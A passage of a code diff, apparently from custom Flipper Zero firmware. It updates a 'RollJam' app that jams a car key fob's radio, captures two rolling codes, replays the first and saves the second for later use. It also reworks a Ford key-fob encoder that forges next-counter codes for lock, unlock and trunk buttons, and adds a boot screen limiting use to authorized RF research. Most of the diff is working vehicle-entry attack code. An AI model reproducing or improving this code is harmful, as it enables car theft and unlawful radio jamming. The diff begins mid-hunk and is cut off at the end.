+        FURI_LOG_I(TAG, "Phase1: cancelled");
         rolljam_capture_stop(app);
         rolljam_jammer_stop(app);
         scene_manager_search_and_switch_to_another_scene(

applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c

@@ -9,10 +9,8 @@
 static void phase2_timer_callback(void* context) {
     RollJamApp* app = context;
 
-    if(app->signal_second.size > 0 &&
+    if(app->signal_second.size >= 20 &&
        rolljam_signal_is_valid(&app->signal_second)) {
-        rolljam_signal_cleanup(&app->signal_second);
-        app->signal_second.valid = true;
         view_dispatcher_send_custom_event(
             app->view_dispatcher, RollJamEventSignalCaptured);
     }
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
         app->widget, 64, 56, AlignCenter, AlignTop,
         FontSecondary, "[BACK] cancel");
 
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewWidget);
+    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
 
-    // CRITICAL: completely clear second signal
     memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
-    app->signal_second.size = 0;
+    app->signal_second.size  = 0;
     app->signal_second.valid = false;
 
-    // Stop previous capture if any
     rolljam_capture_stop(app);
-
-    // Small delay to let radio settle
     furi_delay_ms(50);
-
-    // Start fresh capture for second signal
     rolljam_capture_start(app);
 
     notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
 
     if(event.type == SceneManagerEventTypeCustom) {
         if(event.event == RollJamEventSignalCaptured) {
-            notification_message(app->notification, &sequence_success);
-
-            FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
-                       app->signal_second.size);
-
             rolljam_capture_stop(app);
 
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneAttackPhase3);
+            if(!rolljam_signal_is_valid(&app->signal_second)) {
+                FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
+                app->signal_second.size  = 0;
+                app->signal_second.valid = false;
+                furi_delay_ms(50);
+                rolljam_capture_start(app);
+                return true;
+            }
+
+            rolljam_signal_cleanup(&app->signal_second);
+            app->signal_second.valid = true;
+
+            notification_message(app->notification, &sequence_success);
+            FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
+                       (int)app->signal_second.size);
+
+            rolljam_capture_stop(app);
+            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
             return true;
         }
     } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase2: cancelled by user");
+        FURI_LOG_I(TAG, "Phase2: cancelled");
         rolljam_capture_stop(app);
         rolljam_jammer_stop(app);
         scene_manager_search_and_switch_to_another_scene(

applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c

@@ -10,7 +10,6 @@
 void rolljam_scene_attack_phase3_on_enter(void* context) {
     RollJamApp* app = context;
 
-    // UI
     widget_reset(app->widget);
     widget_add_string_element(
         app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
     view_dispatcher_switch_to_view(
         app->view_dispatcher, RollJamViewWidget);
 
-    // LED: green
     notification_message(app->notification, &sequence_blink_green_100);
 
-    // 1) Stop the jammer
     rolljam_jammer_stop(app);
 
-    // Wait for jammer thread to fully stop and radio to settle
     furi_delay_ms(1000);
 
-    // 2) Transmit first captured signal via internal CC1101
     rolljam_transmit_signal(app, &app->signal_first);
 
     FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
 
     notification_message(app->notification, &sequence_success);
 
-    // Brief display then advance
     furi_delay_ms(800);
 
     view_dispatcher_send_custom_event(

applications/main/RollJam/scenes/rolljam_scene_menu.c

@@ -4,43 +4,68 @@
 // Menu scene: select frequency, modulation, start attack
 // ============================================================
 
+static uint8_t get_min_offset_index(uint8_t mod_index) {
+    if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
+    return JamOffIndex_300k;
+}
+
+static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
+    uint8_t min_idx = get_min_offset_index(app->mod_index);
+    if(app->jam_offset_index < min_idx) {
+        app->jam_offset_index = min_idx;
+        app->jam_offset_hz    = jam_offset_values[min_idx];
+        if(offset_item) {
+            variable_item_set_current_value_index(offset_item, min_idx);
+            variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
+        }
+        FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
+                   jam_offset_names[min_idx]);
+    }
+}
+
+static VariableItem* s_offset_item = NULL;
+
 static void menu_freq_changed(VariableItem* item) {
     RollJamApp* app = variable_item_get_context(item);
     uint8_t index = variable_item_get_current_value_index(item);
-
     app->freq_index = index;
-    app->frequency = freq_values[index];
+    app->frequency  = freq_values[index];
     variable_item_set_current_value_text(item, freq_names[index]);
 }
 
 static void menu_mod_changed(VariableItem* item) {
     RollJamApp* app = variable_item_get_context(item);
     uint8_t index = variable_item_get_current_value_index(item);
-
     app->mod_index = index;
     variable_item_set_current_value_text(item, mod_names[index]);
+
+    enforce_min_offset(app, s_offset_item);
 }
 
 static void menu_jam_offset_changed(VariableItem* item) {
     RollJamApp* app = variable_item_get_context(item);
     uint8_t index = variable_item_get_current_value_index(item);
 
+    uint8_t min_idx = get_min_offset_index(app->mod_index);
+    if(index < min_idx) {
+        index = min_idx;
+        variable_item_set_current_value_index(item, index);
+    }
+
     app->jam_offset_index = index;
-    app->jam_offset_hz = jam_offset_values[index];
+    app->jam_offset_hz    = jam_offset_values[index];
     variable_item_set_current_value_text(item, jam_offset_names[index]);
 }
 
 static void menu_hw_changed(VariableItem* item) {
     RollJamApp* app = variable_item_get_context(item);
     uint8_t index = variable_item_get_current_value_index(item);
-
     app->hw_index = index;
     variable_item_set_current_value_text(item, hw_names[index]);
 }
 
 static void menu_enter_callback(void* context, uint32_t index) {
     RollJamApp* app = context;
-
     if(index == 4) {
         view_dispatcher_send_custom_event(
             app->view_dispatcher, RollJamEventStartAttack);
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
     variable_item_set_current_value_index(mod_item, app->mod_index);
     variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
 
+    // --- Jam Offset ---
     VariableItem* offset_item = variable_item_list_add(
         app->var_item_list,
         "Jam Offset",
         JamOffIndex_COUNT,
         menu_jam_offset_changed,
         app);
+
+    s_offset_item = offset_item;
+    enforce_min_offset(app, offset_item);
+
     variable_item_set_current_value_index(offset_item, app->jam_offset_index);
     variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
 
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
 
     if(event.type == SceneManagerEventTypeCustom) {
         if(event.event == RollJamEventStartAttack) {
-            // Clear previous captures
-            memset(&app->signal_first, 0, sizeof(RawSignal));
+            enforce_min_offset(app, NULL);
+
+            memset(&app->signal_first,  0, sizeof(RawSignal));
             memset(&app->signal_second, 0, sizeof(RawSignal));
 
             scene_manager_next_scene(
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
 
 void rolljam_scene_menu_on_exit(void* context) {
     RollJamApp* app = context;
+    s_offset_item = NULL;
     variable_item_list_reset(app->var_item_list);
 }

applications/main/RollJam/scenes/rolljam_scene_result.c

@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
 
     if(event.type == SceneManagerEventTypeCustom) {
         if(event.event == RollJamEventSaveSignal) {
-            // Save to .sub file
+
             rolljam_save_signal(app, &app->signal_second);
 
             popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
             return true;
 
         } else if(event.event == RollJamEventReplayNow) {
-            // Show sending screen
+
             popup_reset(app->popup);
             popup_set_header(
                 app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
             view_dispatcher_switch_to_view(
                 app->view_dispatcher, RollJamViewPopup);
 
-            // Transmit second signal
             rolljam_transmit_signal(app, &app->signal_second);
 
             notification_message(app->notification, &sequence_success);

applications/services/desktop/desktop.c

@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
     desktop->pin_input_view = desktop_view_pin_input_alloc();
     desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
     desktop->slideshow_view = desktop_view_slideshow_alloc();
+    desktop->tos_view = desktop_view_tos_alloc();
 
     desktop->main_view_stack = view_stack_alloc();
     desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
         desktop->view_dispatcher,
         DesktopViewIdSlideshow,
         desktop_view_slideshow_get_view(desktop->slideshow_view));
+    view_dispatcher_add_view(
+        desktop->view_dispatcher,
+        DesktopViewIdTos,
+        desktop_view_tos_get_view(desktop->tos_view));
 
     // Lock icon
     desktop->lock_icon_viewport = view_port_alloc();
@@ -513,6 +518,8 @@ int32_t desktop_srv(void* p) {
         scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
     }
 
+    scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
+
     if(!furi_hal_version_do_i_belong_here()) {
         scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
     }

applications/services/desktop/desktop_i.h

@@ -11,6 +11,8 @@
 #include "views/desktop_view_lock_menu.h"
 #include "views/desktop_view_debug.h"
 #include "views/desktop_view_slideshow.h"
+#include "views/desktop_view_tos.h"
+#include "helpers/arf_boot_jingle.h"
 
 #include <gui/gui.h>
 #include <gui/view_stack.h>
@@ -32,6 +34,7 @@ typedef enum {
     DesktopViewIdPinInput,
     DesktopViewIdPinTimeout,
     DesktopViewIdSlideshow,
+    DesktopViewIdTos,
     DesktopViewIdTotal,
 } DesktopViewId;
 
@@ -55,6 +58,7 @@ struct Desktop {
     DesktopMainView* main_view;
     DesktopViewPinTimeout* pin_timeout_view;
     DesktopSlideshowView* slideshow_view;
+    DesktopViewTos* tos_view;
     DesktopViewPinInput* pin_input_view;
 
     ViewStack* main_view_stack;

applications/services/desktop/helpers/arf_boot_jingle.c

@@ -0,0 +1,98 @@
+#include "arf_boot_jingle.h"
+
+#include <furi.h>
+#include <furi_hal_speaker.h>
+
+typedef struct {
+    float frequency;
+    uint32_t duration_ms;
+} ArfBootNote;
+
+static const ArfBootNote arf_boot_jingle[] = {
+    {1046.50f, 50},
+    {1046.50f, 200},
+    {0.0f,     100},
+    {783.99f,  300},
+    {0.0f,     50},
+    {659.26f,  300},
+    {0.0f,     50},
+    {783.99f,  250},
+    {880.00f,  100},
+    {880.00f,  100},
+    {783.99f,  300},
+    {1046.50f, 150},
+    {1318.51f, 150},
+    {1760.00f, 250},
+    {1396.91f, 150},
+    {1567.98f, 100},
+    {1318.51f, 250},
+    {1174.66f, 150},
+    {1396.91f, 150},
+    {1318.51f, 400},
+    {392.00f,  100},
+    {523.25f,  300},
+    {0.0f,     50},
+    {1567.98f, 150},
+    {1479.98f, 150},
+    {1396.91f, 150},
+    {1174.66f, 250},
+    {1318.51f, 300},
+    {783.99f,  150},
+    {1046.50f, 100},
+    {1318.51f, 100},
+    {783.99f,  100},
+    {1046.50f, 100},
+    {1318.51f, 150},
+    {0.0f,     50},
+    {1567.98f, 150},
+    {1479.98f, 100},
+    {1396.91f, 150},
+    {1174.66f, 250},
+    {1318.51f, 300},
+    {0.0f,     50},
+    {2093.00f, 700},
+};
+
+static const uint32_t arf_boot_jingle_len =
+    sizeof(arf_boot_jingle) / sizeof(arf_boot_jingle[0]);
+
+static FuriThread* jingle_thread = NULL;
+
+static int32_t arf_jingle_thread_cb(void* context) {
+    UNUSED(context);
+
+    if(!furi_hal_speaker_acquire(1000)) {
+        return 0;
+    }
+
+    for(uint32_t i = 0; i < arf_boot_jingle_len; i++) {
+        const ArfBootNote* note = &arf_boot_jingle[i];
+        if(note->frequency == 0.0f) {
+            furi_hal_speaker_stop();
+        } else {
+            furi_hal_speaker_start(note->frequency, 0.8f);
+        }
+        furi_delay_ms(note->duration_ms);
+    }
+
+    furi_hal_speaker_stop();
+    furi_hal_speaker_release();
+    return 0;
+}
+
+void arf_boot_jingle_play(void) {
+    if(jingle_thread != NULL) {
+        return;
+    }
+
+    jingle_thread = furi_thread_alloc_ex("ArfJingle", 512, arf_jingle_thread_cb, NULL);
+    furi_thread_start(jingle_thread);
+}
+
+void arf_boot_jingle_stop(void) {
+    if(jingle_thread != NULL) {
+        furi_thread_join(jingle_thread);
+        furi_thread_free(jingle_thread);
+        jingle_thread = NULL;
+    }
+}

applications/services/desktop/helpers/arf_boot_jingle.h

@@ -0,0 +1,4 @@
+#pragma once
+
+void arf_boot_jingle_play(void);
+void arf_boot_jingle_stop(void);

applications/services/desktop/scenes/desktop_scene_config.h

@@ -8,3 +8,4 @@ ADD_SCENE(desktop, pin_input, PinInput)
 ADD_SCENE(desktop, pin_timeout, PinTimeout)
 ADD_SCENE(desktop, slideshow, Slideshow)
 ADD_SCENE(desktop, secure_enclave, SecureEnclave)
+ADD_SCENE(desktop, tos, Tos)

applications/services/desktop/scenes/desktop_scene_slideshow.c

@@ -4,6 +4,7 @@
 #include "../desktop_i.h"
 #include "../views/desktop_view_slideshow.h"
 #include "../views/desktop_events.h"
+#include "desktop_scene.h"
 #include <power/power_service/power.h>
 
 void desktop_scene_slideshow_callback(DesktopEvent event, void* context) {

applications/services/desktop/scenes/desktop_scene_tos.c

@@ -0,0 +1,52 @@
+#include <power/power_service/power.h>
+#include <gui/scene_manager.h>
+
+#include "desktop_scene.h"
+#include "../desktop_i.h"
+#include "../views/desktop_events.h"
+#include "../views/desktop_view_tos.h"
+
+static void desktop_scene_tos_callback(DesktopEvent event, void* context) {
+    Desktop* desktop = (Desktop*)context;
+    view_dispatcher_send_custom_event(desktop->view_dispatcher, event);
+}
+
+void desktop_scene_tos_on_enter(void* context) {
+    Desktop* desktop = (Desktop*)context;
+
+    arf_boot_jingle_play();
+
+    gui_set_hide_status_bar(desktop->gui, true);
+    desktop_view_tos_set_callback(desktop->tos_view, desktop_scene_tos_callback, desktop);
+    view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdTos);
+}
+
+bool desktop_scene_tos_on_event(void* context, SceneManagerEvent event) {
+    Desktop* desktop = (Desktop*)context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        switch(event.event) {
+        case DesktopTosAccepted:
+            scene_manager_previous_scene(desktop->scene_manager);
+            consumed = true;
+            break;
+        case DesktopTosDeclined: {
+            Power* power = furi_record_open(RECORD_POWER);
+            power_off(power);
+            furi_record_close(RECORD_POWER);
+            consumed = true;
+            break;
+        }
+        default:
+            break;
+        }
+    }
+    return consumed;
+}
+
+void desktop_scene_tos_on_exit(void* context) {
+    Desktop* desktop = (Desktop*)context;
+    arf_boot_jingle_stop();
+    gui_set_hide_status_bar(desktop->gui, false);
+}

applications/services/desktop/views/desktop_events.h

@@ -39,6 +39,8 @@ typedef enum {
 
     DesktopSlideshowCompleted,
     DesktopSlideshowPoweroff,
+    DesktopTosAccepted,
+    DesktopTosDeclined,
 
     DesktopHwMismatchExit,
 

applications/services/desktop/views/desktop_view_tos.c

@@ -0,0 +1,79 @@
+#include <furi.h>
+#include "desktop_view_tos.h"
+
+struct DesktopViewTos {
+    View* view;
+    DesktopViewTosCallback callback;
+    void* context;
+};
+
+static void desktop_view_tos_draw(Canvas* canvas, void* model) {
+    UNUSED(model);
+    canvas_clear(canvas);
+
+    static const uint8_t mario_bits[] = {
+        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xcc,0x00,0x00,0x82,0x01,0x00,
+        0xc1,0x00,0x00,0xe1,0x07,0x80,0x09,0x08,0x40,0x46,0x07,0x40,0x42,0x03,0x40,0x08,
+        0x04,0x80,0x30,0x04,0x00,0xf1,0x04,0x80,0x82,0x07,0x20,0xfc,0x00,0x30,0x7e,0x00,
+        0x10,0x91,0x00,0x10,0xa0,0x02,0xe0,0x20,0x05,0x60,0x31,0x07,0xf0,0xfb,0x03,0xf0,
+        0xe3,0x00,0xe8,0xe9,0x00,0x08,0xfe,0x00,0x1c,0x7c,0x01,0xf4,0x1f,0x06,0xe4,0x13,
+        0x0e,0x84,0x90,0x09,0x84,0x40,0x08,0x88,0x20,0x06,0x70,0xe0,0x03,0x00,0x00,0x00};
+
+    canvas_draw_xbm(canvas, 105, 0, 22, 32, mario_bits);
+
+    canvas_set_font(canvas, FontPrimary);
+    canvas_draw_str(canvas, 2, 11, "Term of use:");
+
+    canvas_set_font(canvas, FontSecondary);
+    canvas_draw_str(canvas, 3, 22, "Authorize RF research");
+    canvas_draw_str(canvas, 3, 30, "use ONLY. Unauthorized");
+    canvas_draw_str(canvas, 3, 39, "use is prohibited.");
+    canvas_draw_str(canvas, 2, 61, "Back=Shutdown");
+    canvas_draw_str(canvas, 80, 62, "Ok=Accept");
+}
+
+static bool desktop_view_tos_input(InputEvent* event, void* context) {
+    furi_assert(event);
+    DesktopViewTos* instance = context;
+
+    if(event->type == InputTypeShort) {
+        if(event->key == InputKeyOk) {
+            instance->callback(DesktopTosAccepted, instance->context);
+            return true;
+        } else if(event->key == InputKeyBack) {
+            instance->callback(DesktopTosDeclined, instance->context);
+            return true;
+        }
+    }
+    return true;
+}
+
+DesktopViewTos* desktop_view_tos_alloc(void) {
+    DesktopViewTos* instance = malloc(sizeof(DesktopViewTos));
+    instance->view = view_alloc();
+    view_set_context(instance->view, instance);
+    view_set_draw_callback(instance->view, desktop_view_tos_draw);
+    view_set_input_callback(instance->view, desktop_view_tos_input);
+    return instance;
+}
+
+void desktop_view_tos_free(DesktopViewTos* instance) {
+    furi_assert(instance);
+    view_free(instance->view);
+    free(instance);
+}
+
+View* desktop_view_tos_get_view(DesktopViewTos* instance) {
+    furi_assert(instance);
+    return instance->view;
+}
+
+void desktop_view_tos_set_callback(
+    DesktopViewTos* instance,
+    DesktopViewTosCallback callback,
+    void* context) {
+    furi_assert(instance);
+    furi_assert(callback);
+    instance->callback = callback;
+    instance->context = context;
+}

applications/services/desktop/views/desktop_view_tos.h

@@ -0,0 +1,14 @@
+#pragma once
+#include <gui/view.h>
+#include "desktop_events.h"
+
+typedef struct DesktopViewTos DesktopViewTos;
+typedef void (*DesktopViewTosCallback)(DesktopEvent event, void* context);
+
+DesktopViewTos* desktop_view_tos_alloc(void);
+void desktop_view_tos_free(DesktopViewTos* instance);
+View* desktop_view_tos_get_view(DesktopViewTos* instance);
+void desktop_view_tos_set_callback(
+    DesktopViewTos* instance,
+    DesktopViewTosCallback callback,
+    void* context);

lib/subghz/protocols/ford_v0.c

@@ -55,7 +55,6 @@ typedef struct SubGhzProtocolDecoderFordV0 {
     uint32_t serial;
     uint8_t button;
     uint32_t count;
-    uint8_t bs_magic;
 } SubGhzProtocolDecoderFordV0;
 typedef struct SubGhzProtocolEncoderFordV0 {
     SubGhzProtocolEncoderBase base;
@@ -67,8 +66,7 @@ typedef struct SubGhzProtocolEncoderFordV0 {
     uint32_t serial;
     uint8_t button;
     uint32_t count;
-    uint8_t bs;
-    uint8_t bs_magic;
+    uint8_t checksum;
 } SubGhzProtocolEncoderFordV0;
 typedef enum {
     FordV0DecoderStepReset = 0,
@@ -88,14 +86,13 @@ static void decode_ford_v0(
     uint16_t key2,
     uint32_t* serial,
     uint8_t* button,
-    uint32_t* count,
-    uint8_t* bs_magic);
+    uint32_t* count);
 static void encode_ford_v0(
     uint8_t header_byte,
     uint32_t serial,
     uint8_t button,
     uint32_t count,
-    uint8_t bs,
+    uint8_t checksum,
     uint64_t* key1);
 static bool ford_v0_process_data(SubGhzProtocolDecoderFordV0* instance);
 
@@ -122,7 +119,6 @@ const SubGhzProtocolEncoder subghz_protocol_ford_v0_encoder = {
     .yield = subghz_protocol_encoder_ford_v0_yield,
 };
 
-
 const SubGhzProtocol subghz_protocol_ford_v0 = {
     .name = FORD_PROTOCOL_V0_NAME,
     .type = SubGhzProtocolTypeDynamic,
@@ -133,16 +129,19 @@ const SubGhzProtocol subghz_protocol_ford_v0 = {
 };
 
 // =============================================================================
-// BS CALCULATION
-// BS = (counter_low_byte + 0x6F + (button << 4)) & 0xFF
+// Checksum CALCULATION
+// checksum = sum of bytes 1-7
 // =============================================================================
-static uint8_t ford_v0_calculate_bs(uint32_t count, uint8_t button, uint8_t bs_magic) {
-    return (uint8_t)(((uint16_t)(count & 0xFF)) + bs_magic + (button << 4));
+static uint8_t ford_v0_calculate_checksum_from_buf(uint8_t* buf) {
+    // Checksum = sum of bytes 1..7 of the pre-XOR buffer
+    uint8_t checksum = 0;
+    for(int i = 1; i <= 7; i++)
+        checksum += buf[i];
+    return checksum;
 }
 // =============================================================================
 // CRC FUNCTIONS
 // =============================================================================
-
 static uint8_t ford_v0_popcount8(uint8_t x) {
     uint8_t count = 0;
     while(x) {
@@ -168,14 +167,14 @@ static uint8_t ford_v0_calculate_crc(uint8_t* buf) {
 
     return crc;
 }
-static uint8_t ford_v0_calculate_crc_for_tx(uint64_t key1, uint8_t bs) {
+static uint8_t ford_v0_calculate_crc_for_tx(uint64_t key1, uint8_t checksum) {
     uint8_t buf[16] = {0};
 
     for(int i = 0; i < 8; ++i) {
         buf[i] = (uint8_t)(key1 >> (56 - i * 8));
     }
 
-    buf[8] = bs;
+    buf[8] = checksum;
 
     uint8_t crc = ford_v0_calculate_crc(buf);
     return crc ^ 0x80;
@@ -204,8 +203,7 @@ static void decode_ford_v0(
     uint16_t key2,
     uint32_t* serial,
     uint8_t* button,
-    uint32_t* count,
-    uint8_t* bs_magic) {
+    uint32_t* count) {
     uint8_t buf[13] = {0};
 
     for(int i = 0; i < 8; ++i) {
@@ -216,7 +214,7 @@ static void decode_ford_v0(
     buf[9] = (uint8_t)(key2 & 0xFF);
 
     uint8_t tmp = buf[8];
-    uint8_t bs = tmp;
+    //uint8_t checksum = tmp;             //KEPT FOR CLARITY
     uint8_t parity = 0;
     uint8_t parity_any = (tmp != 0);
     while(tmp) {
@@ -258,9 +256,6 @@ static void decode_ford_v0(
     *button = (buf[5] >> 4) & 0x0F;
 
     *count = ((buf[5] & 0x0F) << 16) | (buf[6] << 8) | buf[7];
-
-    // Derive per-fob bs_magic constant (inverse of ford_v0_calculate_bs)
-    *bs_magic = (uint8_t)(bs - (*button << 4) - (uint8_t)(*count & 0xFF));
 }
 
 // =============================================================================
@@ -271,7 +266,7 @@ static void encode_ford_v0(
     uint32_t serial,
     uint8_t button,
     uint32_t count,
-    uint8_t bs,
+    uint8_t checksum,
     uint64_t* key1) {
     if(!key1) {
         FURI_LOG_E(TAG, "encode_ford_v0: NULL key1 pointer");
@@ -292,16 +287,25 @@ static void encode_ford_v0(
     uint8_t count_mid = (count >> 8) & 0xFF;
     uint8_t count_low = count & 0xFF;
 
+    // Pre-XOR buf[6] and buf[7] for checksum calculation
+    uint8_t pre_xor_6 = count_mid;
+    uint8_t pre_xor_7 = count_low;
+    buf[6] = pre_xor_6;
+    buf[7] = pre_xor_7;
+
+    //checksum = checksum of bytes 1..7 before XOR
+    checksum = ford_v0_calculate_checksum_from_buf(buf);
+
     uint8_t post_xor_6 = (count_mid & 0xAA) | (count_low & 0x55);
     uint8_t post_xor_7 = (count_low & 0xAA) | (count_mid & 0x55);
 
     uint8_t parity = 0;
-    uint8_t tmp = bs;
+    uint8_t tmp = checksum;
     while(tmp) {
         parity ^= (tmp & 1);
         tmp >>= 1;
     }
-    bool parity_bit = (bs != 0) ? (parity != 0) : false;
+    bool parity_bit = (checksum != 0) ? (parity != 0) : false;
 
     if(parity_bit) {
         uint8_t xor_byte = post_xor_7;
@@ -330,11 +334,11 @@ static void encode_ford_v0(
 
     FURI_LOG_I(
         TAG,
-        "Encode: Sn=%08lX Btn=%d Cnt=%05lX BS=%02X",
+        "Encode: Sn=%08lX Btn=%d Cnt=%05lX Checksum=%02X",
         (unsigned long)serial,
         button,
         (unsigned long)count,
-        bs);
+        checksum);
     FURI_LOG_I(
         TAG,
         "Encode key1: %08lX%08lX",
@@ -349,10 +353,10 @@ static void encode_ford_v0(
 static uint8_t subghz_protocol_ford_v0_get_btn_code(void) {
     uint8_t custom_btn = subghz_custom_btn_get();
     uint8_t original_btn = subghz_custom_btn_get_original();
-    if(custom_btn == SUBGHZ_CUSTOM_BTN_OK)    return original_btn;
-    if(custom_btn == SUBGHZ_CUSTOM_BTN_UP)    return 0x01; // Lock
-    if(custom_btn == SUBGHZ_CUSTOM_BTN_DOWN)  return 0x02; // Unlock
-    if(custom_btn == SUBGHZ_CUSTOM_BTN_LEFT)  return 0x04; // Boot/Trunk
+    if(custom_btn == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
+    if(custom_btn == SUBGHZ_CUSTOM_BTN_UP) return 0x01; // Lock
+    if(custom_btn == SUBGHZ_CUSTOM_BTN_DOWN) return 0x02; // Unlock
+    if(custom_btn == SUBGHZ_CUSTOM_BTN_LEFT) return 0x04; // Boot/Trunk
     if(custom_btn == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x04; // Boot/Trunk
     return original_btn;
 }
@@ -375,8 +379,7 @@ void* subghz_protocol_encoder_ford_v0_alloc(SubGhzEnvironment* environment) {
     instance->serial = 0;
     instance->button = 0;
     instance->count = 0;
-    instance->bs = 0;
-    instance->bs_magic = 0;
+    instance->checksum = 0;
 
     FURI_LOG_I(TAG, "Encoder allocated");
     return instance;
@@ -574,14 +577,6 @@ SubGhzProtocolStatus
             break;
         }
         instance->generic.cnt = instance->count;
-
-        flipper_format_rewind(flipper_format);
-        uint32_t bs_magic_temp = 0;
-        if(!flipper_format_read_uint32(flipper_format, "BSMagic", &bs_magic_temp, 1))
-            instance->bs_magic = 0x6F;
-        else
-            instance->bs_magic = (uint8_t)bs_magic_temp;
-
         instance->count = (instance->count + 1) & 0xFFFFF;
         instance->generic.cnt = instance->count;
 
@@ -592,26 +587,33 @@ SubGhzProtocolStatus
 
         instance->button = subghz_protocol_ford_v0_get_btn_code();
 
-        instance->bs = ford_v0_calculate_bs(instance->count, instance->button, instance->bs_magic);
+        // Checksum is calculated inside encode_ford_v0 from buf[1..7]
+        instance->checksum = 0; // will be set by encode_ford_v0
 
         encode_ford_v0(
             header_byte,
             instance->serial,
             instance->button,
             instance->count,
-            instance->bs,
+            instance->checksum,
             &instance->key1);
 
         instance->generic.data = instance->key1;
         instance->generic.data_count_bit = 64;
 
-        uint8_t calculated_crc = ford_v0_calculate_crc_for_tx(instance->key1, instance->bs);
-        instance->key2 = ((uint16_t)instance->bs << 8) | calculated_crc;
+        uint8_t calculated_crc = ford_v0_calculate_crc_for_tx(instance->key1, instance->checksum);
+        instance->key2 = ((uint16_t)instance->checksum << 8) | calculated_crc;
 
-        FURI_LOG_I(TAG, "Encoded: Sn=%08lX Btn=%02X Cnt=%05lX BS=%02X CRC=%02X key1=%08lX%08lX",
-            (unsigned long)instance->serial, instance->button,
-            (unsigned long)instance->count, instance->bs, calculated_crc,
-            (unsigned long)(instance->key1 >> 32), (unsigned long)(instance->key1 & 0xFFFFFFFF));
+        FURI_LOG_I(
+            TAG,
+            "Encoded: Sn=%08lX Btn=%02X Cnt=%05lX Checksum=%02X CRC=%02X key1=%08lX%08lX",
+            (unsigned long)instance->serial,
+            instance->button,
+            (unsigned long)instance->count,
+            instance->checksum,
+            calculated_crc,
+            (unsigned long)(instance->key1 >> 32),
+            (unsigned long)(instance->key1 & 0xFFFFFFFF));
 
         flipper_format_rewind(flipper_format);
         if(!flipper_format_read_uint32(
@@ -636,8 +638,8 @@ SubGhzProtocolStatus
         bool cnt_wr = flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &temp, 1);
         temp = calculated_crc;
         flipper_format_insert_or_update_uint32(flipper_format, "CRC", &temp, 1);
-        temp = instance->bs;
-        flipper_format_insert_or_update_uint32(flipper_format, "BS", &temp, 1);
+        temp = instance->checksum;
+        flipper_format_insert_or_update_uint32(flipper_format, "Checksum", &temp, 1);
 
         FURI_LOG_I(TAG, "File updated: Key ok=%d Cnt ok=%d", key_wr, cnt_wr);
 
@@ -702,12 +704,7 @@ static bool ford_v0_process_data(SubGhzProtocolDecoderFordV0* instance) {
         uint16_t key2 = ~key2_raw;
 
         decode_ford_v0(
-            instance->key1,
-            key2,
-            &instance->serial,
-            &instance->button,
-            &instance->count,
-            &instance->bs_magic);
+            instance->key1, key2, &instance->serial, &instance->button, &instance->count);
 
         instance->key2 = key2;
         return true;
@@ -746,7 +743,6 @@ void subghz_protocol_decoder_ford_v0_reset(void* context) {
     instance->serial = 0;
     instance->button = 0;
     instance->count = 0;
-    instance->bs_magic = 0;
 }
 
 void subghz_protocol_decoder_ford_v0_feed(void* context, bool level, uint32_t duration) {
@@ -871,7 +867,7 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v0_serialize(
 
     if(ret == SubGhzProtocolStatusOk) {
         uint32_t temp = (instance->key2 >> 8) & 0xFF;
-        flipper_format_write_uint32(flipper_format, "BS", &temp, 1);
+        flipper_format_write_uint32(flipper_format, "Checksum", &temp, 1);
 
         temp = instance->key2 & 0xFF;
         flipper_format_write_uint32(flipper_format, "CRC", &temp, 1);
@@ -882,9 +878,6 @@ SubGhzProtocolStatus subghz_protocol_decoder_ford_v0_serialize(
         flipper_format_write_uint32(flipper_format, "Btn", &temp, 1);
 
         flipper_format_write_uint32(flipper_format, "Cnt", &instance->count, 1);
-
-        temp = (uint32_t)instance->bs_magic;
-        flipper_format_write_uint32(flipper_format, "BSMagic", &temp, 1);
     }
 
     return ret;
@@ -898,7 +891,9 @@ SubGhzProtocolStatus
